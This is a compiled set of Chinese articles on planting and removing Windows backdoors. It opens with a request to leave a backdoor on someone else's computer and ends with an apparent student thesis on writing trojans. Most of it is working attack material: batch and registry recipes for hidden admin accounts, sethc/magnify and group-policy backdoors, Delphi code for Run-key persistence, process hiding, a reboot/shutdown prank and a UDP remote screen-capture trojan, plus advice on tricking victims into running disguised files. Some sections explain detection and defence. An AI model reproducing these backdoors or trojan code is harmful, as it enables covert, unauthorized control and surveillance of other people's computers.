服务器留后门?软件后门
我有机会经常玩别人电脑,怎么在他的电脑当中留下后门
一.建立一个别人永远删不掉的管理员用户操作步骤:
1、在自己电脑里面建立一个.txt文本文件.
2、在里面输入内容
@echo off
net user yixiao 123456/add注释:前面yixiao是用户名后面123456是密码;
net localgroup administrators yixiao/add
3、把这个文件保存,更改后缀为yixiao.bat注释:前面名字随便,后面格式一定要是bat;
4、把这个文件拷贝到对方电脑C:\WINNT\system32\GroupPolicy\User\scripts\Logon文件目录下,没有的话自己创建。
完成,下次对方电脑无论如何都有这个管理员帐号,删除了,下次启动还有!
如果把里面的内容改成
@echo off
net user administrator 123456/add
意思是不管你怎么改,下次启动管理员帐号administrator密码一直是123456。
二.俺认为上述的方法并不理想,可以用隐藏帐号方法来建帐号会更好。
操作步骤:
1、首先建立一个帐号结尾要带$号,如果yixiao$,密码自己随便,然后把帐号删除.
2、将以下代码保存成(.reg)注册表形式
代码如下:
——————————————————————————-
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHONE\SAM\SAM\Domains\Account\users\
names\yixiao$]
@=hex(1f4):
——————————————————————————-
说明:1f4是Administrator帐号十六进制的值
3、保存好后导入,然后用CMD命令设置密码
net user yixiao$ 123456
这样一个隐形帐号就建立好了,用户在“本地用户和组”内根本无法看到这个帐号。所以也不存在删除帐号。记得千万别在同事的电脑上捣鼓哦,如果被查出来。。。。。嘿嘿:-)
隐藏管理员帐号三分钟搞定
对 regedit.exe我想大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。 nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\\SAM\\SAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234/add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点“权限”以后会弹出窗口点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将 administrator加入,并设置权限为“完全控制”。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。
4、再点“开始”→“运行”并输入”regedit.exe”回车,启动注册表编辑器regedit.exe。打开键:HKEY_LOCAL_MAICHINE\\SAM\\SAM\\Domains\\account\\user\\names [url=$/]\\hacker$[/url]”
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、 1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键”F”的值复制,并覆盖hacker$对应的项 00000409下的键”F”的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$/del将用户hacker$删除:net user hacker$/del
7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\\SAM\\SAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。
9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。
那我们管理员又该如何把“隐藏账户”请出系统
隐藏账户的危害可谓十分巨大。因此我们有必要在了解了账户隐藏技术后,再对相应的防范技术作一个了解,把隐藏账户彻底请出系统。
1、添加“$”符号型隐藏账户
对于这类隐藏账户的检测比较简单。一般黑客在利用这种方法建立完隐藏账户后,会把隐藏账户提升为管理员权限。那么我们只需要在“命令提示符”中输入“net localgroup administrators”就可以让所有的隐藏账户现形。如果嫌麻烦,可以直接打开“计算机管理”进行查看,添加“$”符号的账户是无法在这里隐藏的。
2、修改注册表型隐藏账户
由于使用这种方法隐藏的账户是不会在“命令提示符”和“计算机管理”中看到的,因此可以到注册表中删除隐藏账户。来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”,把这里存在的账户和“计算机管理”中存在的账户进行比较,多出来的账户就是隐藏账户了。想要删除它也很简单,直接删除以隐藏账户命名的项即可。
3、无法看到名称的隐藏账户
如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”→“运行”,输入“gpedit.msc”运行“组策略”,依次展开“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对“审核登陆事件”和“审核过程追踪”进行相同的设置。
进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过“计算机管理”中的“事件查看器”准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。
得知隐藏账户的名称后就好办了,但是我们仍然不能删除这个隐藏账户,因为我们没有权限。但是我们可以在“命令提示符”中输入“net user隐藏账户名称 654321”更改这个隐藏账户的密码。这样这个隐藏账户就会失效,黑客无法再用这个隐藏账户登陆。
win2003下创建永远的隐藏帐户操作一、二
前段时间比较流行的一句话”肉机”其实要想控制远端的计算机,那我想就少不了隐藏用户帐号的问题了,其实创建隐藏用户帐号还是比较简单的,现在我就把创建隐藏用户帐号告诉大家。
其实每一个用户帐号在注册表中都有自己帐号数据项
首先我们看看管理员在注册表中的数据项是什么样的
操作一、打开注册表:HKEY_LOCAL_MACHINE\SAM\SAM
SAM是保存用户帐号的地方,不过这个“项”在默认情况下是不可见的。我们如果想看内部的内容就必须首先对其授权。(建议对注册表不是很熟悉的朋友不要随便改动注册表)
操作二、认识注册表中的帐号分类
在OS中的用户帐号无论是内置帐号,还是后建帐号,在注册表中都能看见。不过有两个帐号大家一定要能够认识,那就是管理员帐号和guest帐号。
”000001fa4”表示的是管理员帐号,即使管理员帐号被重命名了这个值也是不会变的,所以我们可以通过这个值来判断,重命名后的管理员帐号。
“000001fa5”表示的是guest帐号,同样这个值也不会因为,来宾帐号给重命名而改变。剩下的其它值基本上就是后来创建的用户帐号,生成值了。认识了注册表后,现在我们就来利用”net user”命令创建帐号了,创建隐藏帐号必须在CMD下。有关常见的命令,这些命令也可以在OS的帮助中找到。
操作三、利用”net user”命令创建帐号
一、先建立隐藏用户 xbx$ 1、net user xbx$ 123,abc/add这里的意思是说,建立个xbx$帐户密码是123,abc
1、C:\Documents and Settings\Administrator>net localgroup administrators xbx$/add这里的意思是说把xbx,以便让我们创建用户具备管理员权限。
一、观察注册表中的变化,并对注册表做相应的修改。 HKEY_LOCAL_MACHINE\SAM\SAM
1、找到我们刚刚创建的用户帐号
我们可以看见”000003f6”就是我们刚新建立的”xbx
2、在注册表中多帐号权限复制
找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users这个项,打开”000001f4”项,然后再打开”F”。
然后将这里面的值,全选,粘帖并覆盖到”000003f6”的”F”值.
3、导出注册表值
现在将注册表中的“000001f4”、“000003f6”和“xbx”都导入出来,可直接将Users所有键值都导出来,到文件.
4、删除帐号
接下来我们再次进入“CMD”中删除“xbx
删除帐号后,则注册表中的值也就没有了,这个时候我们再把刚才导出的注册表项,导入到注册表中。这个时候我们打开“本地计算机用户和组”就看不见“xbx”
先把system32下的sethc.exe删除掉,然后把cmd.exe改名为sethc.exe就OK了,利用的是5次连续敲击shift的热键功能,下次你3389登陆服务器的时候,就可以利用热键功能打开cmd,从而增加账号,就可以登录服务器了
如何防服务器后门
但绝对不能容忍的是,服务器被植入后门,攻击者如入无人之境,而管理者去浑然不觉。本文将对当前比较流行的后门技术进行解析,知己知彼方能杜绝后门。
1、放大镜后门放大镜(magnify.exe)是Windows 2000/XP/2003系统集成的一个小工具,它是为方便视力障碍用户而设计的。在用户登录系统前可以通过“Win+U”组合键调用该工具,因此攻击者就用精心构造的magnify.exe同名文件替换放大镜程序,从而达到控制服务器的目的。通常情况下,攻击者通过构造的magnify.exe程序创建一个管理员用户,然后登录系统。当然有的时候他们也会通过其直接调用命令提示符(cmd.exe)或者系统shell(explorer.exe)。需要说明的是,这样调用的程序都是system权限,即系统最高权限。不过,以防万一当管理员在运行放大镜程序时发现破绽,攻击者一般通过该构造程序完成所需的操作后,最后会运行真正的放大镜程序,以蒙骗管理员。其利用的方法是:(1).构造批处理脚本@echo off
net user gslw$ test168/add
net localgroup administrators gslw$/add
%Windir%system32 agnify.exe
exit将上面的脚本保存为magnify.bat,其作用是创建一个密码为test168的管理员用户gslw$,最后运行改名后的放大镜程序nagnify.exe。(图1)
(2).文件格式转换因为批处理文件magnify.bat的后缀是bat,必须要将其转换为同名的exe文件才可以通过组合键Win+U调用。攻击者一般可以利用WinRar构造一个自动解压的exe压缩文件,当然也可以利用bat2com、com2exe进行文件格式的转换。我们就以后面的方法为例进行演示。打开命令行,进入bat2com、com2exe工具所在的目录,然后运行命令“bat2com magnify.bat”将magnify.bat转换成magnify.com,继续运行命令“com2exe magnify.com”将magnify.com转换成magnify.exe,这样就把批处理文件转换成和放大镜程序同名的程序文件。(图2)(3).放大镜文件替换下面就需要用构造的magnify.exe替换同名的放大镜程序文件,由于Windows对系统文件的自我保护,因此不能直接替换,不过Windows提供了一个命令replace.exe,通过它我们可以替换系统文件。另外,由于系统文件在%Windir%system32dllcache中有备份,为了防止文件替换后又重新还原,所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下,我们可以通过一个批处理即可实现文件的替换。@echo off
copy%Windir%system32dllcachemagnify.exe nagnify.exe
copy%Windir%system32magnify.exe nagnify.exe
replace.exe%Windir%magnify.exe%Windir%system32dllcache
replace.exe%Windir%magnify.exe%Windir%system32
exit上面批处理的功能是,首先将放大镜程序备份为nagnify.exe,然后用同名的构造程序将其替换。(图3)
(4).攻击利用当完成上述操作后,一个放大镜后门就做成了。然后攻击者通过远程桌面连接服务器,在登录界面窗口摁下本地键盘的“Win+U”组合键,选择运行其中的“放大镜”,此刻就在服务器上创建了一个管理员用户gslw$并打开了放大镜工具,然后攻击者就开业通过该帐户登录服务器。当然,攻击者在断开登录前会删除所有与该帐户相关的信息,以防被管理员发现。(图4)(5).防范措施进入%Windir%system32查看magnify.exe的文件图标是否是原来的放大镜的图标,如果不是的话极有可能被植入了放大镜后门。当然,有的时候攻击者也会将其文件图标更改为和原放大镜程序的图标一样。此时我们可以查看magnify.exe文件的大小和修改时间,如果这两样有一项不符就比较怀疑了。我们也可以先运行magnify.exe,然后运行lusrmgr.msc查看是否有可疑的用户。如果确定服务器被放置了放大镜后门,首先要删除该文件,然后恢复正常的放大镜程序。当然,我们也可以做得更彻底一些,用一个无关紧要的程序替换放大镜程序。甚至我们也可以以其人之道还治其人之身,构造一个magnify.exe,通过其警告攻击者或者进行入侵监控和取证。补充:与放大镜后门类似的还有“粘滞键”后门,即按下SHIEF键五次可以启动粘滞键功能,其利用和防范措施与放大镜后门类似,只是将magnify.exe换成了sethc.exe。 2、组策略后门相对来说,组策略后门更加隐蔽。往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。其实,在最策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。这就是通过最策略的“脚本(启动/关机)”项来说实现。具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。攻击者获得了服务器的控制权就可以通过这个后门实施对对主机的长期控制。它可以通过这个后门运行某些程序或者脚本,最简单的比如创建一个管理员用户,他可以这样做:(1).创建脚本创建一个批处理文件add.bat,add.bat的内容是:@echo off& net user gslw$ test168/add&& netlocalgroup administrators gslw$/add& exit(创建一个用户名为gslw$密码为test168的管理员用户)。(2).后门利用在“运行”对话框中输入gpedit.msc,定位到“计算机配置一>Windows设置一>脚本(启动/关机)”,双击右边窗口的“关机”,在其中添加add.bat。就是说当系统关机时创建gslw$用户。对于一般的用户是根本不知道在系统中有一个隐藏用户,就是他看见并且删除了该帐户,当系统关机时又会创建该帐户。所以说,如果用户不知道组策略中的这个地方那他一定会感到莫名其妙。其实,对于组策略中的这个“后门”还有很多利用法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就不用在系统中创建帐户了,直接利用管理员帐户远程登录系统。因此它也是“双刃剑”,希望大家重视这个地方。当你为服务器被攻击而莫名其妙时,说不定攻击者就是通过它实现的。(图5)(3).后门防范组策略后门是攻击者利用了管理员的疏忽心理,因为对于组策略中的“(启动/关机)脚本”项往往被大家忽略,有些管理员甚至不知道组策略中的这个选项。防范这类服务器后门,也非常简单,只需打开组策略工具,定位到“脚本(启动/关机)”项下进行查看。当然也可以进入 system32GroupPolicyMachineScriptsStartup和system32GroupPolicyMachineScriptsShutdown目录检查是否有可疑的脚本。
电脑网络中的“后门”是什么意思
电脑网络中的“后门”即是网络的漏洞
一、问题的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。真正的黑客大多是赋有正义感的。他们不会恶意侵入他人系统,并且破坏系统程序和数据。但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。
现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。在这里向各位老师汇报一下。程序设计的语言用的是PASCAL,用DELPHI 4进行编译。
二、"特洛伊木马"如何入侵系统
一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。然后我们使用Client程序就可以控制该电脑了。当然,后门程序如果不运行也就无法发挥作用。因此,就要"诱骗"别人使用后门程序。如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。总之,要利用一切手段使人家运行后门程序。
木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。修改方法一般是通过修改注册表:
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1= class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations}
public
{ Public declarations}
end;
var
Form1: TForm1;
implementation
{$R*.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring('',temp);
regf.free;
copyfile(pchar('hacker.exe'),pchar(temp),true);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。我还没有搞清楚这是怎样办到的。
在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程序的PSP,里面保存着一些有关应用程序重要数据,按下Ctrl+Alt+Del后,对于一个应用程序,若没有可显示的ENABLE窗口的名字,则系统要检查上面程序段中的特定双字是不是10800000h,如果是就不显示这个应用程序的可执行文件的名字。
下面是一个恶作剧的程序,入侵计算机后,每次开机后,随机出现鼠标乱跑并发出怪叫、热启动、强行关机的现象,让你无法进入WINDOWS 9X。对于一般的计算机用户来说,因为找不出这个程序在何处,所以只能格式化系统区,重新安装系统。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos(random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木马为了防止发现后被清除,在启动时会产生一个备份,一般是感染WINDOWS的系统文件,当木马被发现并清除后,备份会自动激活,使你依然处于远程黑手的控制。比如当前国最盛行的"冰河",首先会修改注册表的启动项目,将自己复制两份到系统中,分别为KERNEL32.EXE和SYSEXPLE.EXE,并且修改TXT文件的打开方式,一旦KERNEL32.EXE被删除,那么当打开一个TXT文件时,SYSEXPLE.EXE将再产生一个KERNEL32.EXE文件。
另外,有的木马还能在运行后修改文件名,或者复制感染系统后,进行自我销毁,使用户很难进行查找。
三、木马的种类
1、破坏型
惟一的功能就是破坏并且删除文件,可以自动的删除电脑上的DLL、INI、EXE文件。
2、密码发送型
可以找到隐藏密码并把它们发送到指定的信箱。有人喜欢把自己的各种密码以文件的形式存放在计算机中,认为这样方便;还有人喜欢用WINDOWS提供的密码记忆功能,这样就可以不必每次都输入密码了。许多黑客软件可以寻找到这些文件,把它们送到黑客手中。也有些黑客软件长期潜伏,记录操作者的键盘操作,从中寻找有用的密码。
在这里提醒一下,不要认为自己在文档中加了密码而把重要的保密文件存在公用计算机中,那你就大错特错了。别有用心的人完全可以用穷举法暴力破译你的密码。利用WINDOWS API函数EnumWindows和EnumChildWindows对当前运行的所有程序的所有窗口(包括控件)进行遍历,通过窗口标题查找密码输入和出确认重新输入窗口,通过按钮标题查找我们应该单击的按钮,通过ES_PASSWORD查找我们需要键入的密码窗口。向密码输入窗口发送WM_SETTEXT消息模拟输入密码,向按钮窗口发送WM_COMMAND消息模拟单击。在破解过程中,把密码保存在一个文件中,以便在下一个序列的密码再次进行穷举或多部机器同时进行分工穷举,直到找到密码为止。此类程序在黑客网站上唾手可得,精通程序设计的人,完全可以自编一个。
3、远程访问型
最广泛的是特洛伊马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。以下的程序可以实现观察"受害者"正在干什么,当然这个程序完全可以用在正道上的,比如监视学生机的操作。
程序中用的UDP(User Datagram Protocol,用户报文协议)是因特网上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。它不区分服务器端和客户端,只区分发送端和接收端,编程上较为简单,故选用了UDP协议。本程序中用了DELPHI提供的TNMUDP控件。
受控机程序部分:
让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的ONDATARECEIVED事件;REMOTEPORT属性设为2222,当控件CUDP发送数据时,将数据发送到主控机的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient= class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations}
public
{ Public declarations}
end;
var
client: Tclient;
implementation
const bufsize=2048;//发送每一批数据的缓冲区大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R*.DFM}
procedure screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,srccopy);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procedure Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procedure Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procedure Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//读取控制码
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制码前4位为"SHOW"表示主控机发出了截屏指令
if bmpstream.Size=0 then//没有数据可发,必须截屏生成数据
begin tmpstr:=strpas(ctrlcode);
tmpstr:=copy(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint(copy(tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint(copy(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//调用截屏函数
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP为主控机IP地址
cudp.SendBuffer(buf,sendsize);//将数据发到主控机的2222端口
end;
end;
end.
主控机程序部分:
让控件SUDP监视主控机的2222端口,当有数据发送到该口时,触发SUDP的ONDATARECEIVED事件;REMOTEPORT属性设为1111,当控件SUDP发送数据时,将数据发到受控机的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever= class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procedure BitBtn2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations}
public
{ Public declarations}
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R*.DFM}
procedure Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procedure Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procedure Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procedure Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procedure Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strpcopy(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何预防黑客
黑客程序虽然破坏大,但不是不能防止的。
1、处理好你的密码
我们一般是用账号和密码来上网的,密码的设置无疑是十分讲求技巧的,许多人的安全防范意识差,不注意密码的设置,造成自己的账号被盗用。如今的黑客软件都是挂上密码字典,然后用穷举法进行破解,密码太简单,那么破解的可能性就大了。以下是一些注意事项。
⑴密码不可和账号相同,这是最容易被猜到的了。
⑵经常更改密码,拿到新账号后要立即更改密码,不要放久了。
⑶密码最好多于8个字符,字符越长,破解难度越大。例如WORD文档的密码大于8位后,目前的破解软件几乎无法攻破。另外,最好在密码中加入一些控制键,增加破译难度。千万不可用单一的字母或数字。
⑷有人喜欢用自己的生日、电话、身份证号码等作为密码,你不要这样做。
⑸密码尽量不要记显眼的纸张上,更不能保存在计算机中,不要贪图一时方便,用WINDOWS提供的保存密码功能。
2、不要运行不明真相的程序
无论都高明的黑客程序,只要你不去运行它,就无法害到你。所以,不可相信网友的话,不要去运行他提供的程序;不要随意去打开别人寄来的附件,无论他把附件中的图片或影片吹得如何好看;要到大的、著名的网站去下载软件,千万不要到不明真象的个人网页下载,因为在那儿你可能下载的病毒和黑客之手;如果你十分羡慕黑客,也请你不要下载所谓的黑客软件,否则你没害到别人,自己反被害了;如果你的机器上有防火墙,在上网时一定要打开,不要怕麻烦。
3、经常检查系统信息
上网过程中,突然觉得计算机工作不对劲时,仿佛感觉有人在遥远的地方遥控你。这时,你必须及时停止手中工作,运行"附件→系统工具→系统信息",在任务列表中寻找自己不熟悉的或者自己并没有运行的程序,一旦找到程序后应立即终止它的运行,以防后患。
4、最好不去聊天室
我一直认为聊天室没有什么意思,特别对于计算机专业人员,聊天只是浪费时间和金钱,有些恶意的破坏者利用网上聊天室的漏洞干坏事,例如聊天室支持JAVA、HTML等功能,然而,这小小的JAVA也隐藏"杀机",他可以发给你一个足以让你的机器当机的HTML语句。因为这些语句是不会在聊天室显示出来的,所以你被暗算了可能还不知道。防治的办法是在你的浏览器中关闭你的JAVA脚本。想聊天的,在公共机房聊聊算了,不能在自己的机器上聊天。